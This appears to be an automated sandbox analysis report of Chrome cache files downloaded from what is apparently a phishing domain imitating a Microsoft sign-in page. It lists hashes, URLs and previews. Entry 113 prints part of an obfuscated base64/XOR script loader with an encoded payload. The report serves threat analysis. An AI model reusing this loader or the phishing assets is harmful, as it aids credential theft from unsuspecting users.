Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65209), with CRLF line terminators
Category:	downloaded
Size (bytes):	106180
Entropy (8bit):	5.855634360071899
Encrypted:	false
SSDEEP:	3072:V0VeqcMy83zsXV7EZWax4TLPgBTMh2EDHgiovXoDL:V0cMy8YXV7EZWax4XPgBTligNcL
MD5:	FF89BF96FE77D92128414CDD0A55D9FF
SHA1:	C2327BB569827075E7E7864991BA9BC2F7275D49
SHA-256:	7A0D62320391CD49CB40C7FA121D1B8CDB57AD820AC4CC0CB7492F15182A492D
SHA-512:	EA9E383C5E25BB915371A97EC26712648BC4FEAC9F5D625B5212D6D4ACEB79B5ABEC72E43A6919486E1FBD8A422331655B71010834CB7DF5A89E2C2507AC9FF6
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d
Preview:	<script>..function aKDvSTgPcn(enuMaQDvmG, cANkYTlEoJ) {..let ZRPXZjmEIJ = '';..enuMaQDvmG = atob(enuMaQDvmG);..let lIBAcTxHdo = cANkYTlEoJ.length;..for (let i = 0; i < enuMaQDvmG.length; i++) {.. ZRPXZjmEIJ += String.fromCharCode(enuMaQDvmG.charCodeAt(i) ^ cANkYTlEoJ.charCodeAt(i % lIBAcTxHdo));..}..return ZRPXZjmEIJ;..}..var tOyVBwKbvv = aKDvSTgPcn(`DhMMGAkHAQQWTVpGJTt0XlJoOxlfXmg7Kz0/aXEIXBB2WkBvMDEyCQw/Qndqc3hoIA5AWzgjaiAqN25PWkY8Jzlpd3swAlZXZj07Jj0mKkNRXSV4ICItMSEUHwFmYWRjdjk6AxxYO3V0b3cnMB9bQjxpR1l4dHNNDkErJSMjLHQgH1EPaj8+JygnaUIdUSw5ZCA3NzgIRhwhOGVndmJ9XR1BJzQhNix6OgIcXyE5ZDkrdm1RHUErJSMjLGpeZxISaHd2IDsmOh1GEjslKW56PCcZQkFyeGU0MSA7GFAcKzgnfD4xPRkdQCk5LjYgJH0HQR06MiY2OSc2Hh1WJyAkPzc1N0JEAmZjZGB3JjIDVlcwJ2Q+MTp9B0EQdmtlIDsmOh1GDEVdanN4dG8eUUAhJz5zKyYwUBBaPCM6IGJ7fA5WXCIkZDA0OyYJVF4pJS99Ozs+QlNYKS9lPzE2IEJRQDEnPjx1PiBCBhx5eXt8OyYqHUZdZT05fTU9PUNYQWppdnwrNyEEQkZ2WkBzeHRzUUFROj46J3gnIQ4PECAjPiMrbnxCRUU/eS08NzM/CBxRJzplIT03Mh1GUSA2ZTIoPX0HQRB2a2UgOyY6HUYMRV1qc3h0bwFbXCN3ODY0aXEeRksk

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 25, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.9902101553250042
Encrypted:	false
SSDEEP:	3:yionv//thPlMvY/1xl/k4E08up:6v/lhPKg17Tp
MD5:	1FB72EA0EDF48FDAA048119FD44A3BCE
SHA1:	658A7FBEC3339EDF6D14A637B9676F4427E699EA
SHA-256:	BF3D7FE1CC1DEEC762E7930CC8BD0EC86AC4FABD47709F6963931B5896D6BB98
SHA-512:	584C2C4C8344F137193E986622F6E5EDEB587962E17DB9C31F0DB20618AF3ED35E31187BB008DA6C20D3CA97FB44981F2C99FBA6A05D698CB0BEC0A024FE31F2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...........o.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45034)
Category:	dropped
Size (bytes):	45035
Entropy (8bit):	5.400557193761079
Encrypted:	false
SSDEEP:	768:oCD98WxH5PbdrKAY+2HtedqdRQgFiIonqIjaEzY+iBggUydRm1TPjXk/bYjf+cd6:/xH5PbdrZkygk7qIjDgUjJY
MD5:	C4D5335B2B69C6998EE34F5F7B3E246F
SHA1:	AF0AE01ECCEE153877976D5C7D6500AA9C380B60
SHA-256:	7EDA47B0C02C44BDAA43A5B14857F1257DDBD620B0397C32AA3AE8BAF769AB55
SHA-512:	1C62C5D29C56848C258701F2E6B39E2152A3CACEB2C96F19ADB8542FDCC233F42BD0FAE9D03C8EA04F6B4490D0B69FD24F62B6D18A14A31D87E24906CFC88C58
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);function g(p){St(u,o,c,g,_,"next",p)}function _(p){St(u,o,c,g,_,"throw",p)}g(void 0)})}}function P(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):P(e,r)}function Oe(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Ce(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Oe(e,c,a[c])})}return e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
Category:	downloaded
Size (bytes):	43596
Entropy (8bit):	7.9952701440723475
Encrypted:	true
SSDEEP:	768:b0nfc/3Osy1fo0tBBFF/GGXfN2ZHKTBUwL+BR49qCow3Z3HuvJ5+xXtTgXHk6/:b0fU3OdhFF/xNOoZc49ow3Z3HO+xX1mf
MD5:	2A05E9E5572ABC320B2B7EA38A70DCC1
SHA1:	D5FA2A856D5632C2469E42436159375117EF3C35
SHA-256:	3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
SHA-512:	785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/90BwLzMpuCNIPc12Bxo7mGwVuU4yz71
Preview:	wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...\|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P..j..)..'.L......b..RQjII..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P......

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45034)
Category:	downloaded
Size (bytes):	45035
Entropy (8bit):	5.400557193761079
Encrypted:	false
SSDEEP:	768:oCD98WxH5PbdrKAY+2HtedqdRQgFiIonqIjaEzY+iBggUydRm1TPjXk/bYjf+cd6:/xH5PbdrZkygk7qIjDgUjJY
MD5:	C4D5335B2B69C6998EE34F5F7B3E246F
SHA1:	AF0AE01ECCEE153877976D5C7D6500AA9C380B60
SHA-256:	7EDA47B0C02C44BDAA43A5B14857F1257DDBD620B0397C32AA3AE8BAF769AB55
SHA-512:	1C62C5D29C56848C258701F2E6B39E2152A3CACEB2C96F19ADB8542FDCC233F42BD0FAE9D03C8EA04F6B4490D0B69FD24F62B6D18A14A31D87E24906CFC88C58
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/6790c32b9fc9/api.js
Preview:	"use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);function g(p){St(u,o,c,g,_,"next",p)}function _(p){St(u,o,c,g,_,"throw",p)}g(void 0)})}}function P(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):P(e,r)}function Oe(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Ce(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Oe(e,c,a[c])})}return e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 35, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.002585360278503
Encrypted:	false
SSDEEP:	3:yionv//thPlHs1xl/k4E08up:6v/lhPc7Tp
MD5:	572849875AE3310AC890E3ABC686FFC2
SHA1:	DF88A70A42AD97003BB223A3B27287D2E53D3392
SHA-256:	E6382A6552CC2B0E20B7610B872C2B6D155653C6CBE1FF7C53128675715EF09C
SHA-512:	F88276F85641EC6EB2A511760231E5313DE1FB42A3898D19C444BAE3355F5100FDCE9F7D3851832C2737233BB82576F845A610BC596CC101C92AA5F9C9C0758B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8b7bc004eb3a7c8d/1724422899198/k6wQePlMUzTyxyC
Preview:	.PNG........IHDR...P...#.............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 726 x 291, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	47818
Entropy (8bit):	7.976797842895387
Encrypted:	false
SSDEEP:	768:OUzzzzrhAaxJyolPgzflVSBoLf7xizI+04Z4MpDyxHv1r5efBaBaytrx0PDQjxwE:OO5YeSVWDPWxP1r5QBy1mPDQK+N
MD5:	EF9572A6B2A91A13BBD828BDDEF2DDB8
SHA1:	1FB42681C764EF9757666E63A7E46B31D72B7035
SHA-256:	7714595D67F324FD07F6A21C3C229B4AB1DD6A3D459CB501D1D358579E76E34F
SHA-512:	26969514B8415D21CB9975820186895154A0976A14FCF8FF22C196ECB8145194CCC00D5F6458A1A9F5A02EEE4CA68362D6FCE3CB52922C7304C8C364C1577952
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauthimages.net/c1c6b6c8-qq3bnf8j1njkrpr2jp05vj9kvt-rzdcwbkgtoviv7bm/logintenantbranding/0/bannerlogo?ts=638464375259754991
Preview:	.PNG........IHDR.......#.......F.....sRGB.........gAMA......a.....pHYs..........o.d..._IDATx^.].........$..kqo)..).Rh.RZ.T..b..P/m.`qw!......#N.....$..r..3.;;.......}o......{...B.P(...B..1.X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X7Q.."..H..I.\|..."..M..l.f.HV.m......._V...}........Hck"+_%..M.$ I<...B...B.P(.#.X7R..~..;}}F..J..R.9I....vJB..;!.NL.......ad\.........q.:..q9..?&g...}*.t.}..7.C.z#.....o.+.......qTBn}.y.=...I.y.<25!.....f%...&..).<-C.e.,.1d..\.P(.....@.u.G...$t..yaA..9i.....~19.[L.h..f.F..

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:	768:lvJo4KciQZYjebVq19lKPtHAQ/l4rj2bqkiHShpeSUOR4OqWOgaU:lhH3rVq1PKP432tSSh4SUORHqWcU
MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/45BUs76lI5VisV6D7NxeT90YLF5l4Exy70
Preview:	wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z\|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.\|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......\|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... gM..h.....Q!}B...Q.m.M...R.5.JUi..U_5@]..PW...5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.V..j.Z...j..BJ.._Pw..0..f...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e\|......B>....1.a,.D.Ej..(.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35970, version 1.0
Category:	downloaded
Size (bytes):	35970
Entropy (8bit):	7.989503040923577
Encrypted:	false
SSDEEP:	768:GJiLCleIZlcBvahjeheOQKskmCp9sE9gBkGgvU+7aAXDqWOtU:GJo9IgMKsQzJ9gBkZbuAXDqWV
MD5:	496B7BBDE91C7DC7CF9BBABBB3921DA8
SHA1:	2BD3C406A715AB52DAD84C803C55BF4A6E66A924
SHA-256:	AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
SHA-512:	E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/12zn8d0uaFJ78HnWlT1iop49
Preview:	wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.\|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23592), with CRLF line terminators
Category:	downloaded
Size (bytes):	23594
Entropy (8bit):	5.1062413273164795
Encrypted:	false
SSDEEP:	384:ZtafGtz2omXX44PL5Ky0sdY8xbXnb4YEb0VkBSgf3:/afSz2omXX44PL5Ky0sdY8xbXnEYw0ED
MD5:	440DA37AA9C63FB0AB2B881642C573E4
SHA1:	8E9DD2D82DA3C333BB29693D7B438047922F2CF9
SHA-256:	3C5345C97C60BEA7311F960F028B3959289EA61BED07DA5674148B6A58DD0C0E
SHA-512:	B64B4504E6CD62145F48E1C0C0D5EE3BCFEBFD27B61520D6084EEF73AC5896CBDE2C8BE77723E71C6CE929166A812935EFD93B33F6C14119CF6D0529270D4C49
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/12euAqDcdlIORfF6720
Preview:	,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit},input{margin:0}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_pdf a{color:#fff

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2044)
Category:	dropped
Size (bytes):	4217
Entropy (8bit):	5.17898126814178
Encrypted:	false
SSDEEP:	96:lW+9Jgnk5PG5Py5PevSd++OICtJxtomlGDWtVA2W:M+9JQk5e5a5eSdpOICtlomlHW
MD5:	AA0E85765D01AAF8FB0DE9BBFB6C19D5
SHA1:	CAC61A2BEC9D93536E6AB329E02AE1AB36C26665
SHA-256:	F4984CF2B815E6166E31031977D6B9EBDFC73D1CAD90F05D2E8AC821A640C0AE
SHA-512:	C16F1F5C4037C7B78B46333AACCF1E843BD9C4D9E5DE0F369F5F7A19DA3FEFEEF015F9CB1666B8FC04E3002BE2A07700F45B0BFF388906646AD3B5ECB17A2299
Malicious:	false
Reputation:	low
